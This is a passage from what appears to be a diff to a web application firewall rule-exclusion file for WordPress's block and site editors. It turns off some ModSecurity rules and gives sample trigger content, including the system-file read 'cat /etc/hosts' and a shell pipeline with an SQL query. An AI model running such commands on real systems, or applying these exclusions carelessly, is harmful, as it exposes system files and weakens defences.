"@beginsWith /" \ + "id:900700,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:X-HTTP-Method-Override" + +# The block editor and the site editor send HTML in the JSON field content, which +# skips these rules when saving or autosaving a post, a page, a template or a +# template part: +# 930120: cat /etc/hosts +# 932230: a code block with a shell pipeline and an SQL query +# 932250: the same code block +# 934100: console.log('ok') +# 941100: